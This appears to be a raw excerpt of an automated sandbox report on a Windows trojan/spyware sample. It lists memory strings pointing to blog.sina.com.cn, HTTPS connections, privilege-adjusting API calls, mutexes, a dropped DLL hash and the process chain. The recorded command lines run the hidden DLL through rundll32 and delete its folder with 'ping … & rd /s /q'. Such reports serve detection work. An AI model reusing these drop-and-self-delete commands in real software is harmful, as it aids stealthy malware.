Source: rundll32.exe, 00000006.00000003.2394402713.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394188130.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/56550298074
Source: rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/56550298079
Source: rundll32.exe, 00000006.00000003.2803081217.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807D
Source: rundll32.exe, 00000006.00000003.3621717662.0000000005657000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807adobe.dunamis
Source: rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807lP9&
Source: rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807m
Source: rundll32.exe, 00000006.00000003.2365087073.000000000565C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807r
Source: rundll32.exe, 00000006.00000003.2394527852.000000000565C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2365087073.000000000565C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807top
Source: rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3108712693.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803081217.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807z
Source: rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807z-xN
Source: rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803081217.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807z4
Source: rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803081217.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807z:
Source: rundll32.exe, 00000006.00000003.3253603854.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3252916045.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477211473.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807zD
Source: rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807zI
Source: rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807zP#&&
Source: rundll32.exe, 00000006.00000002.3886909734.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2848809904.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807zR
Source: rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807zk
Source: rundll32.exe, 00000006.00000003.3499377638.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3068313961.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803081217.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807zm
Source: rundll32.exe, 00000006.00000003.2230805040.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803873602.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1981996980.000000000565B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062689322.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2849768834.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062610450.000000000565C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394527852.000000000565C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621717662.0000000005657000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1982084602.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3900121507.0000000005656000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2365087073.000000000565C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3622058230.00000000027E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/
Source: rundll32.exe, 00000006.00000003.2230805040.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803873602.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062689322.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2849768834.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1982084602.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3622058230.00000000027E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/O6
Source: rundll32.exe, 00000006.00000003.2062610450.000000000565C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/and
Source: rundll32.exe, 00000006.00000003.3621717662.0000000005657000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/user
Source: rundll32.exe, 00000006.00000003.1981996980.000000000565B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/les
Source: rundll32.exe, 00000006.00000002.3900121507.0000000005656000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/mData
Source: rundll32.exe, 00000006.00000003.2062610450.000000000565C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/nts
Source: rundll32.exe, 00000006.00000003.3068313961.0000000002854000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658030407.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2848809904.0000000002857000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2363858451.0000000002858000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3886909734.00000000027F2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3886909734.0000000002846000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1982084602.0000000002858000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3419063356.000000000281B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3900121507.0000000005656000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394402713.0000000002858000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477211473.0000000002858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807
Source: rundll32.exe, 00000006.00000003.1658030407.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807-xN
Source: rundll32.exe, 00000006.00000003.2394402713.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394188130.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/56550298071
Source: rundll32.exe, 00000006.00000003.1982084602.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807I
Source: rundll32.exe, 00000006.00000002.3886909734.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477211473.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807n
Source: rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807qP6&

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53605
Source: unknown	Network traffic detected: HTTP traffic on port 62756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64583
Source: unknown	Network traffic detected: HTTP traffic on port 58111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58975
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60096
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60534
Source: unknown	Network traffic detected: HTTP traffic on port 61380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51433
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63657
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60024
Source: unknown	Network traffic detected: HTTP traffic on port 50703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51680
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51161
Source: unknown	Network traffic detected: HTTP traffic on port 51477 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57596 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50239
Source: unknown	Network traffic detected: HTTP traffic on port 51467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50355
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57701
Source: unknown	Network traffic detected: HTTP traffic on port 60096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51174
Source: unknown	Network traffic detected: HTTP traffic on port 60024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65448
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61380
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51298
Source: unknown	Network traffic detected: HTTP traffic on port 54686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55135
Source: unknown	Network traffic detected: HTTP traffic on port 65457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64400
Source: unknown	Network traffic detected: HTTP traffic on port 51161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65457
Source: unknown	Network traffic detected: HTTP traffic on port 50527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 56387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51467
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54578
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62756
Source: unknown	Network traffic detected: HTTP traffic on port 54801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50703
Source: unknown	Network traffic detected: HTTP traffic on port 65448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56648
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51477
Source: unknown	Network traffic detected: HTTP traffic on port 51286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58432
Source: unknown	Network traffic detected: HTTP traffic on port 53014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50436
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50710
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51641
Source: unknown	Network traffic detected: HTTP traffic on port 50355 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57596
Source: unknown	Network traffic detected: HTTP traffic on port 51103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56387
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60591
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51808
Source: unknown	Network traffic detected: HTTP traffic on port 52767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65405
Source: unknown	Network traffic detected: HTTP traffic on port 63657 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 51680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64583 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50284
Source: unknown	Network traffic detected: HTTP traffic on port 50284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54801
Source: unknown	Network traffic detected: HTTP traffic on port 55135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61736
Source: unknown	Network traffic detected: HTTP traffic on port 51641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 57913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869

Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:50284 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:51680 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:56648 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:59988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:63657 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:51286 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:54578 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:57913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:61380 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:65448 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:52767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:55135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:58111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:61736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:64583 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:51641 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:54686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:58432 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:62243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:65405 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:53014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:56387 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:58975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:62756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:65457 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:57596 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:60591 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:64400 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:49756 version: TLS 1.2

System Summary

PE file has a writeable .text section

Source: qtbbkpjim.dll.5.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_1000C160: wsprintfA,DeviceIoControl,

6_2_1000C160

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_100049F0 ExitWindowsEx,

6_2_100049F0

Source: C:\Users\user\Desktop\XXHYneydvF.exe	Code function: 0_2_00414D00	0_2_00414D00
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Code function: 5_2_00414D00	5_2_00414D00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10005A10	6_2_10005A10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000EB80	6_2_1000EB80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000DB90	6_2_1000DB90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10010400	6_2_10010400
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000F500	6_2_1000F500
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10009690	6_2_10009690
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000EF70	6_2_1000EF70

Source: Joe Sandbox View

Dropped File: C:\yucdh\qtbbkpjim.dll 9111C1EB1F0B59DCD49CFD5A0ABC0BA100AC59A3BCAE8623FF091DFDC46FED3C

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10001000 appears 293 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10011A66 appears 47 times

Source: XXHYneydvF.exe	Binary or memory string: OriginalFilename vs XXHYneydvF.exe
Source: XXHYneydvF.exe, 00000000.00000003.1426610353.0000000002110000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDSignTool4 vs XXHYneydvF.exe
Source: XXHYneydvF.exe, 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameDSignTool4 vs XXHYneydvF.exe
Source: XXHYneydvF.exe	Binary or memory string: OriginalFilenameDSignTool4 vs XXHYneydvF.exe

Source: XXHYneydvF.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: qtbbkpjim.dll.5.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: qtbbkpjim.dll.5.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@22/3@51/3

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_1000C230 sprintf,CreateFileA,DeviceIoControl,GetLastError,FormatMessageA,CloseHandle,wsprintfA,

6_2_1000C230

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10004F60 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,	6_2_10004F60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_100060E0 strrchr,strncpy,strncpy,strncpy,GetSystemInfo,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,sscanf,	6_2_100060E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10004B90 AdjustTokenPrivileges,	6_2_10004B90

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_10004AA0 CreateToolhelp32Snapshot,

6_2_10004AA0

Source: C:\Users\user\Desktop\XXHYneydvF.exe

Code function: 0_2_00401A2A FindResourceA,LoadResource,

0_2_00401A2A

Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\krnaver.com:6520
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1308:120:WilError_03
Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\0x5d65r455f
Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\Mkrnaver.com:6520
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4508:120:WilError_03

Source: C:\Users\user\Desktop\XXHYneydvF.exe

File created: C:\Users\user\AppData\Local\Temp\ygqcn.exe

Jump to behavior

Source: C:\Users\user\Desktop\XXHYneydvF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe

Process created: C:\Windows\SysWOW64\rundll32.exe c:\windows\system32\rundll32.exe "c:\yucdh\qtbbkpjim.dll",QueryPluginInterface C:\Users\user\AppData\Local\Temp\ygqcn.exe

Source: XXHYneydvF.exe

ReversingLabs: Detection: 89%

Source: C:\Users\user\Desktop\XXHYneydvF.exe

File read: C:\Users\user\Desktop\XXHYneydvF.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\XXHYneydvF.exe "C:\Users\user\Desktop\XXHYneydvF.exe"
Source: C:\Users\user\Desktop\XXHYneydvF.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 2&C:\Users\user\AppData\Local\Temp\\ygqcn.exe "C:\Users\user\Desktop\XXHYneydvF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ygqcn.exe C:\Users\user\AppData\Local\Temp\\ygqcn.exe "C:\Users\user\Desktop\XXHYneydvF.exe"
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Process created: C:\Windows\SysWOW64\rundll32.exe c:\windows\system32\rundll32.exe "c:\yucdh\qtbbkpjim.dll",QueryPluginInterface C:\Users\user\AppData\Local\Temp\ygqcn.exe
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\SysWOW64\rundll32.exe" "c:\yucdh\qtbbkpjim.dll",QueryPluginInterface
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\yucdh"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\SysWOW64\rundll32.exe" "c:\yucdh\qtbbkpjim.dll",QueryPluginInterface
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\yucdh"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Users\user\Desktop\XXHYneydvF.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 2&C:\Users\user\AppData\Local\Temp\\ygqcn.exe "C:\Users\user\Desktop\XXHYneydvF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
